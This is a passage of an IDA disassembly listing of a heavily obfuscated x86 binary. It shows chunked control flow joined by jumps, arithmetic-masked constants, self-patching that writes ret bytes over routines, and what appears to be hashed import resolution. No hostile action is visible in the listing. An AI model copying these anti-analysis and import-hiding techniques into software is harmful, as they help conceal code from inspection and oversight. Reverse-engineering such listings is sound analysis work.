		jmp	ds:off_41E080
sub_441020	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2B6

loc_44102B:				; CODE XREF: sub_44E2B6+16j
		jmp	loc_43B668
; END OF FUNCTION CHUNK	FOR sub_44E2B6

; =============== S U B	R O U T	I N E =======================================



sub_441030	proc near		; CODE XREF: y22d6.y.:loc_4370E7j
					; sub_441020p ...

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043918C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BCE5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043C02D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043CE13 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043E8EA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440188 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441BA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443B92 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443DFA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004459BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447FD8 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044B69D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044D6B2 SIZE 00000005 BYTES

		pop	edx
		jz	loc_447FD8
		mov	eax, [esp-4+arg_0]
		push	edx
		push	esi
		push	86FB828h
		jmp	loc_4459BE
sub_441030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_441046:				; CODE XREF: sub_444581:loc_441B00j
					; sub_444581+51F5j
		push	edi
		mov	edi, eax
		xchg	edi, [esp+8+var_8]
		lea	eax, dword_43F7E0
		push	eax
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+10h+var_10]
		jmp	loc_43F254
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------

loc_44105E:				; CODE XREF: y22d6.y.:loc_44BC6Bj
		mov	esi, edi
		xchg	esi, [esp]

loc_441063:				; CODE XREF: y22d6.y.:00441CB3j
		push	8CBEF5C2h
		pop	edi
		jmp	loc_440019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_44106E:				; CODE XREF: sub_44B1D2-13C44j
					; sub_44B1D2:loc_446F66j
		push	eax
		mov	eax, edi
		xchg	eax, [esp+0]
		call	sub_448A6F

loc_441079:				; CODE XREF: sub_44DB4F:loc_444B98j
		mov	eax, [eax]
		mov	al, [eax]
		jnb	loc_449554
		sub	al, 99h
		jmp	loc_43C21A
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4477E6

loc_44108A:				; CODE XREF: sub_4477E6:loc_44B658j
		pop	edx
		rol	edx, 5
		add	edx, 0D4F0621Ch
		add	edx, ebp
		add	edx, 1A035856h
		mov	edx, [edx]
		imul	byte ptr [edx]

loc_4410A0:				; CODE XREF: y22d6.y.:loc_440AE9j
		jmp	loc_438BAF
; END OF FUNCTION CHUNK	FOR sub_4477E6
; ---------------------------------------------------------------------------

loc_4410A5:				; CODE XREF: y22d6.y.:0044A1A7j
		popf

loc_4410A6:				; CODE XREF: y22d6.y.:loc_44A196j
		or	eax, 0E15A0545h
		test	eax, 100h
		jmp	loc_44D7F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_4410B7:				; CODE XREF: sub_441A2B+Aj
		push	edx

loc_4410B8:				; CODE XREF: y22d6.y.:loc_441DE2j
		call	sub_43EF0B
		mov	eax, 637A7446h
		call	sub_43CA1A
		push	esi
		push	100260FFh
		pop	esi
		sub	esi, ds:4000E1h
		jmp	loc_437514
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
		mov	esi, edi
		jmp	sub_43832B

; =============== S U B	R O U T	I N E =======================================



sub_4410E0	proc near		; DATA XREF: sub_439F5A:loc_43A80Co

; FUNCTION CHUNK AT 0043AB90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CAE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D7DA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E525 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00440FBE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004432A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444A5B SIZE 00000012 BYTES

		push	ebx
		push	0DF3966F7h
		pop	ebx
		xor	ebx, 0B82F7615h
		add	ebx, 0F1261ECFh
		jmp	loc_43CAE2
sub_4410E0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_4410F9:				; CODE XREF: sub_44A359-C050j
		jmp	nullsub_229
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------

loc_4410FE:				; CODE XREF: y22d6.y.:0044BC1Dj
		push	edx
		call	sub_4397E6
		mov	eax, 0CAAB96A5h
		call	sub_43F7FF
		mov	ds:off_41E020, eax
		lea	eax, sub_438FBB
		mov	byte ptr [eax],	0C3h
		jmp	sub_438FBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_441122:				; CODE XREF: sub_448EB6:loc_439684j
		pop	ecx
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439B4D
		jmp	loc_442707
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		mov	esi, edi
		jmp	sub_43CCD2
; ---------------------------------------------------------------------------

loc_44113A:				; CODE XREF: y22d6.y.:loc_4447D8j
					; y22d6.y.:004447EBj
		sub	ebx, ds:4000E0h
		or	ebx, 12ADF5F1h
		rol	ebx, 0Fh
		add	ebx, 1455186h
		xchg	ebx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A53A

loc_441157:				; CODE XREF: sub_44A53A+4j
		jbe	loc_43F5CE
		jmp	loc_43DE75
; END OF FUNCTION CHUNK	FOR sub_44A53A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4387EA

loc_441162:				; CODE XREF: sub_4387EA:loc_4398DDj
		jz	loc_449122
		jmp	loc_449068
; END OF FUNCTION CHUNK	FOR sub_4387EA
; ---------------------------------------------------------------------------

loc_44116D:				; CODE XREF: y22d6.y.:loc_44DE9Ej
		pop	edx
		xor	edx, 20541122h
		add	edx, 0D28A5AE8h
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44117A:				; CODE XREF: sub_4432B8:loc_44DCEAj
		add	edx, ebp
		add	edx, 3F28F8ECh
		jmp	loc_44B96B
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_441187:				; CODE XREF: y22d6.y.:0044BF27j
					; y22d6.y.:0044BF36j
		push	offset sub_443915
		jmp	locret_443618

; =============== S U B	R O U T	I N E =======================================



sub_441191	proc near		; CODE XREF: y22d6.y.:0043FF4Cp
					; y22d6.y.:00445E7Cj

; FUNCTION CHUNK AT 0043B49F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440745 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443A39 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004461AB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044C4C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D3EA SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	0E759ED1Dh
		pop	ecx
		rol	ecx, 18h
		or	ecx, 0FED37FBFh
		jmp	loc_44C4C8
sub_441191	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A78

loc_4411A9:				; CODE XREF: sub_439A78+5j
		push	44E73ACBh
		pop	eax
		rol	eax, 15h
		test	eax, 20h
		jmp	loc_448E0E
; END OF FUNCTION CHUNK	FOR sub_439A78

; =============== S U B	R O U T	I N E =======================================



sub_4411BD	proc near		; CODE XREF: sub_43FBC3+16D0p
					; y22d6.y.:00446595j

; FUNCTION CHUNK AT 00439423 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439ECE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00444654 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0CC679D13h
		pop	ecx
		jmp	loc_444654
sub_4411BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4411CC:				; CODE XREF: sub_4432B8:loc_443500j
		xor	eax, eax
		push	offset sub_445286
		jmp	loc_44CE98
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_4411D8:				; CODE XREF: sub_44B17B:loc_447136j
		and	edx, 1C06D761h
		sub	edx, 555A98BCh
		cmp	edx, 30994571h
		jmp	loc_43EDF6
; END OF FUNCTION CHUNK	FOR sub_44B17B

; =============== S U B	R O U T	I N E =======================================



sub_4411EF	proc near		; CODE XREF: y22d6.y.:0043FB9Ej
					; y22d6.y.:0044C5E7p
		xchg	esi, [esp+0]
		pop	esi
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_343
sub_4411EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4411FB:				; CODE XREF: y22d6.y.:0044721Dj
		mov	eax, [esp]
		push	edx
		call	sub_44E5C7
		jmp	loc_44BFE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_441209:				; CODE XREF: sub_43F501+1j
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cmp	ds:byte_442A98,	0
		jnz	loc_439F7A
		lea	edx, [ebp-14h]
		mov	eax, offset dword_442A9C
		call	sub_44D088
		jmp	loc_439837
; END OF FUNCTION CHUNK	FOR sub_43F501

; =============== S U B	R O U T	I N E =======================================



sub_44122D	proc near		; CODE XREF: y22d6.y.:0043A54Fp
					; y22d6.y.:00449453j
		xchg	esi, [esp+0]
		pop	esi
		cmp	al, 0A4h
		jz	loc_442058
		jmp	loc_445CFB
sub_44122D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44123E	proc near		; CODE XREF: sub_43E037+F231p

; FUNCTION CHUNK AT 0043929F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439F89 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004403FF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004407F5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004429B9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044531C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004465A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004484C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448BB7 SIZE 00000016 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_437708
		jmp	loc_439F89
sub_44123E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441251:				; CODE XREF: y22d6.y.:0043A81Cj
		jno	loc_44E1B1
		push	0E5A3FA28h

loc_44125C:				; CODE XREF: y22d6.y.:loc_44C5B4j
		push	eax
		lea	eax, loc_44DD70
		push	eax
		push	eax
		mov	edx, eax
		call	sub_44D088
		jmp	loc_440F74
; ---------------------------------------------------------------------------

loc_441271:				; DATA XREF: sub_448EB6+19F4o
		xor	eax, 0ACB32B1Ah
		add	eax, ebp
		add	eax, 6804D544h
		mov	eax, [eax]
		popf
		mov	al, [eax]
		jmp	loc_43A877
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_327. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_44128A:				; CODE XREF: sub_43FBC3-4745j
		mov	esi, [ecx]
		jo	sub_44256D

loc_441292:				; CODE XREF: sub_43FBC3:loc_43B4DCj
		push	ecx
		call	sub_4411BD

loc_441298:				; CODE XREF: sub_4432B8+107j
		jmp	loc_43DA03
; END OF FUNCTION CHUNK	FOR sub_43FBC3
; ---------------------------------------------------------------------------
		add	ebp, 136A1B06h
		jmp	loc_44ACE8
; ---------------------------------------------------------------------------

loc_4412A8:				; CODE XREF: y22d6.y.:loc_44BDF0j
		call	sub_443C95
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4412AD:				; CODE XREF: sub_448EB6:loc_44933Ej
					; y22d6.y.:0044935Bj
		add	ecx, 0A4E7EBEFh
		xchg	ecx, [esp-8+arg_4]
		jmp	loc_445062
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395B1

loc_4412BB:				; CODE XREF: sub_4395B1+10j
		call	sub_438953
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_2
		pop	ecx
		pop	ecx
		jmp	loc_44C1DB
; END OF FUNCTION CHUNK	FOR sub_4395B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_4412D2:				; CODE XREF: sub_44066C:loc_44C57Dj
		jz	loc_43738F
		jmp	loc_44B75B
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------

loc_4412DD:				; DATA XREF: sub_445A15:loc_43B1A4o
		add	esi, 0F65C1F8Dh
		xor	eax, esi
		pop	esi
		ror	eax, 1Bh
		jmp	loc_44C8AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4412EE:				; CODE XREF: sub_448EB6-F9D2j
		push	ecx
		pushf
		push	80B55CB7h
		pop	ecx
		rol	ecx, 2
		jmp	loc_448D92
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		jbe	loc_439BC5
		jmp	sub_44CFDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43734D

loc_441309:				; CODE XREF: sub_43734D:loc_43C85Aj
		mov	ebp, esp

loc_44130B:				; CODE XREF: sub_43C242:loc_44024Cj
		call	sub_43C3DD

loc_441310:				; CODE XREF: sub_44ACEA-7AF0j
		jmp	loc_43D463
; END OF FUNCTION CHUNK	FOR sub_43734D
; ---------------------------------------------------------------------------
		mov	ds:dword_41E164, eax

loc_44131B:				; CODE XREF: y22d6.y.:00440D06j
		push	offset sub_447A76
		jmp	loc_43BE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_441325:				; CODE XREF: sub_44193A:loc_43B291j
		jz	loc_44A8E1
		jmp	loc_44C8F8
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D9D2

loc_441330:				; CODE XREF: sub_43D9D2:loc_43A0BAj
		add	eax, [esp+4+var_4]
		adc	edx, [esp+4]
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		jmp	loc_444613
; END OF FUNCTION CHUNK	FOR sub_43D9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D9E

loc_44134E:				; CODE XREF: sub_440D9E+Cj
		add	eax, 0E371A200h
		mov	eax, [eax]
		push	offset loc_44D5A3
		jmp	loc_447CF0
; END OF FUNCTION CHUNK	FOR sub_440D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_441360:				; CODE XREF: sub_439051+EAF1j
		sub	edx, 25777652h
		add	edx, 7B4AEE76h
		xor	eax, edx
		pop	edx
		ror	eax, 19h
		mov	edx, [esp-8+arg_4]
		jmp	loc_442F40
; END OF FUNCTION CHUNK	FOR sub_439051

; =============== S U B	R O U T	I N E =======================================



sub_44137A	proc near		; CODE XREF: y22d6.y.:0044D7D5j
					; y22d6.y.:0044E271p
		xchg	ebx, [esp+0]
		pop	ebx
sub_44137A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_44137E:				; CODE XREF: sub_44DB81:loc_43B10Fj
		call	sub_43F7FF
		mov	ds:off_41E01C, eax
		lea	eax, loc_43E343
		jmp	loc_439B65
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		shl	eax, 4
		jmp	sub_4408CF
; ---------------------------------------------------------------------------
dword_44139C	dd 0D77E7A5Fh		; DATA XREF: sub_43FBC3-5C34r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443C3C

loc_4413A0:				; CODE XREF: sub_443C3C+1j
		jmp	sub_44B489
; END OF FUNCTION CHUNK	FOR sub_443C3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_4413A5:				; CODE XREF: sub_4409F4-79C0j
		jmp	loc_43F415
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------
		dw 6153h
dword_4413AC	dd 0			; DATA XREF: y22d6.y.:loc_43EC8Bw
					; sub_4432B8+300r
dword_4413B0	dd 0			; DATA XREF: sub_43EC92+6r
					; sub_445604+5w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F1B

loc_4413B4:				; CODE XREF: sub_449F1B+11j
		jmp	nullsub_323
; END OF FUNCTION CHUNK	FOR sub_449F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442266

loc_4413B9:				; CODE XREF: sub_442266+16j
		jmp	loc_43DE80
; END OF FUNCTION CHUNK	FOR sub_442266
; ---------------------------------------------------------------------------

loc_4413BE:				; CODE XREF: y22d6.y.:0043F6FBj
		jmp	loc_43BF82
; ---------------------------------------------------------------------------
		db 5Ah
dword_4413C4	dd 39B27375h, 64C59199h	; DATA XREF: sub_43EC92+B34Ao
		db 8Dh,	0D8h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A413

loc_4413CF:				; CODE XREF: sub_44A413+14j
		jmp	loc_44C70D
; END OF FUNCTION CHUNK	FOR sub_44A413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B43

loc_4413D4:				; CODE XREF: sub_437B43+2697j
		jmp	nullsub_160
; END OF FUNCTION CHUNK	FOR sub_437B43
; ---------------------------------------------------------------------------
		db 2Fh,	0EFh, 6Ch
dword_4413DC	dd 0			; DATA XREF: sub_43FFE2-72B7o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C322

loc_4413E0:				; CODE XREF: sub_44C322-61E2j
		jmp	loc_43B026
; END OF FUNCTION CHUNK	FOR sub_44C322
; ---------------------------------------------------------------------------
		db 50h,	73h, 92h
dword_4413E8	dd 153940h		; DATA XREF: sub_43FFE2-72ADr
					; sub_43E196+5w ...
; ---------------------------------------------------------------------------

loc_4413EC:				; CODE XREF: y22d6.y.:0044796Cj
		jmp	loc_438491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_4413F1:				; CODE XREF: sub_449641-F8B1j
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		dw 8341h
dword_4413F8	dd 0			; DATA XREF: sub_43CBD3:loc_44946Ar
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4413FC:				; CODE XREF: sub_448EB6-1C74j
		jmp	loc_43D63E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		push	ebx
		push	0E13CD919h
		jmp	loc_43FD14
; ---------------------------------------------------------------------------

loc_44140E:				; CODE XREF: y22d6.y.:00438D77j
		mov	[esi], eax
		pop	esi
		lea	eax, sub_43CA62
		mov	byte ptr [eax],	0C3h
		jmp	loc_44DC07
; ---------------------------------------------------------------------------

loc_44141F:				; CODE XREF: y22d6.y.:00443F77j
		mov	eax, [esp]
		push	edx
		call	sub_442C0C
		jmp	loc_44E02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44142D:				; CODE XREF: sub_448EB6:loc_4484ADj
		xchg	eax, [esp+4+var_4]
		call	sub_44A46F
		mov	eax, 0BC7399C0h
		call	sub_43CA1A
		mov	ds:off_41E0BC, eax
		lea	eax, sub_44D73B
		mov	byte ptr [eax],	0C3h
		jmp	loc_43DAD3
; END OF FUNCTION CHUNK	FOR sub_448EB6

; =============== S U B	R O U T	I N E =======================================



sub_441453	proc near		; CODE XREF: sub_4017FD+4Bp
					; sub_441453:loc_43DA92j
					; DATA XREF: ...

; FUNCTION CHUNK AT 0043DA92 SIZE 00000006 BYTES

		call	sub_43DA98
		jmp	loc_43DA92
sub_441453	endp

; ---------------------------------------------------------------------------

loc_44145D:				; CODE XREF: y22d6.y.:loc_44A7A4j
		shr	edx, 0Eh
		or	eax, 65A65EDAh
		jmp	loc_44D964

; =============== S U B	R O U T	I N E =======================================



sub_44146B	proc near		; CODE XREF: y22d6.y.:00439673j
					; sub_438B66+35E9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044611F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B5F9 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	3C009885h
		pop	edx
		xor	edx, 1B551B93h
		jmp	loc_44B5F9
sub_44146B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_441480:				; CODE XREF: y22d6.y.:loc_448BE7j
		add	ecx, 30D5F36Eh
		xchg	ecx, [esp]
		jmp	sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44148E:				; CODE XREF: sub_44271A-636Dj
		sub	ebx, 0EA94AB75h
		or	edi, edx
		not	esi
		sub	edx, 71117000h
		jmp	loc_4388A2
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------

loc_4414A3:				; CODE XREF: y22d6.y.:loc_43762Ej
		jz	loc_43E68F
		xchg	edx, ebx
		jmp	loc_43E68D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9F3

loc_4414B0:				; CODE XREF: sub_43B9F3:loc_44300Ej
		pop	ebp
		xchg	ebp, [esp+0]
		call	sub_438E86
		push	0B99B53F5h
		pop	eax
		jmp	loc_43E4DE
; END OF FUNCTION CHUNK	FOR sub_43B9F3

; =============== S U B	R O U T	I N E =======================================



sub_4414C4	proc near		; DATA XREF: sub_438077:loc_43CA6Do
		add	esi, 1C0766D2h
		sub	eax, esi
		pop	esi
		xor	eax, 57B3BF20h
		jmp	loc_448368
sub_4414C4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_4414D8:				; CODE XREF: sub_43E5C2j
		mov	eax, ds:dword_43A6D8
		push	offset loc_4462EB
		jmp	nullsub_294
; END OF FUNCTION CHUNK	FOR sub_43E5C2

; =============== S U B	R O U T	I N E =======================================



sub_4414E8	proc near		; CODE XREF: y22d6.y.:0043E2A3p
					; y22d6.y.:0044D4C6j

; FUNCTION CHUNK AT 0044322F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044794F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	esi
		push	0D5842B63h
		jmp	loc_44794F
sub_4414E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_4414F7:				; CODE XREF: sub_44D6D0-100B1j
		ja	loc_43D0BB
		mov	[ebp+0], esi
		jmp	loc_44D3F4
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------

loc_441505:				; CODE XREF: y22d6.y.:004489CAj
		pop	edi
		xchg	edx, [ecx]
		pushf
		jmp	loc_4425C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44150E:				; CODE XREF: sub_4432B8:loc_4432DAj
		push	offset loc_43F9BC
		jmp	loc_4383CB
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_441518:				; CODE XREF: sub_44C980:loc_437DB8j
		push	offset sub_43B9D9
		jmp	nullsub_259
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_441522:				; CODE XREF: sub_4385ED:loc_4400CBj
		lea	eax, loc_446405
		mov	byte ptr [eax],	0C3h
		jmp	loc_446405
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
		call	nullsub_322
		jmp	ds:dword_41E08C
; ---------------------------------------------------------------------------

loc_44153B:				; CODE XREF: y22d6.y.:00445F88j
		jmp	loc_44BCC8
; ---------------------------------------------------------------------------

loc_441540:				; CODE XREF: y22d6.y.:004423D7j
		jmp	sub_43AB31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_441545:				; CODE XREF: sub_44633F:loc_4393A6j
		lea	eax, sub_44633F
		mov	byte ptr [eax],	0C3h
		jmp	sub_44633F
; ---------------------------------------------------------------------------

loc_441553:				; CODE XREF: sub_44633Fj
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_438E86
		push	42F5D28Bh
		pop	eax
		jmp	loc_43792F
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

loc_441568:				; CODE XREF: y22d6.y.:0043F0E1j
		or	esi, 6836C6h

; =============== S U B	R O U T	I N E =======================================



sub_44156E	proc near		; CODE XREF: sub_439051+A638p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A68E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004408B2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440B73 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044326E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B6A7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044C6CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D213 SIZE 00000017 BYTES

		xchg	esi, [esp+0]
		pop	esi
		or	eax, eax
		jmp	loc_44C6CA
sub_44156E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_441579:				; CODE XREF: sub_44BCC2:loc_43AC74j
		mov	edx, ebx
		pop	ebx
		or	edx, 8B4B68E4h

loc_441582:				; CODE XREF: sub_44123E-A40j
		sub	edx, 75F663A2h
		and	edx, 617EDB1Dh
		xor	edx, 3AEBDC8Dh
		jmp	loc_4396CF
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_441599:				; CODE XREF: sub_44057E+D6F5j
		sub	edi, 326BB678h
		jl	loc_448A27

loc_4415A5:				; CODE XREF: sub_44057E+D6E9j
		add	esi, 163E4D24h
		xchg	esi, [esp+4+var_4]
		jmp	loc_438BAA
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A7A9

loc_4415B3:				; CODE XREF: sub_44A7A9+1Fj
		sub	eax, ebx
		pop	ebx
		mov	ds:dword_4425CC, eax
; END OF FUNCTION CHUNK	FOR sub_44A7A9
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_4415BC:				; CODE XREF: sub_43C6D7+2j
					; sub_43B252+943Aj
		push	ecx
		push	0B0FBF40h
		jmp	loc_43B6ED
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44928B

loc_4415C7:				; CODE XREF: sub_44928B+4j
		pop	edx
		pop	ebx

loc_4415C9:				; CODE XREF: sub_4477E6:loc_439AF8j
		jz	loc_44844B
		mov	eax, [esp-8+arg_4]
		call	sub_444D45

loc_4415D7:				; CODE XREF: sub_43E81B+B804j
		jmp	loc_44E144
; END OF FUNCTION CHUNK	FOR sub_44928B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4482CF

loc_4415DC:				; CODE XREF: sub_4482CF-370Cj
		jmp	locret_44B1B5
; END OF FUNCTION CHUNK	FOR sub_4482CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_4415E1:				; CODE XREF: sub_43FFE2+Cj
		jmp	loc_438D2A
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_4415E6:				; CODE XREF: sub_438B66+7j
		jmp	loc_43E809
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_4415EB:				; CODE XREF: sub_439051-ECAj
		jmp	loc_4434A2
; END OF FUNCTION CHUNK	FOR sub_439051
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_348. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_4415F1:				; CODE XREF: sub_449641+Dj
		jmp	loc_438141
; END OF FUNCTION CHUNK	FOR sub_449641
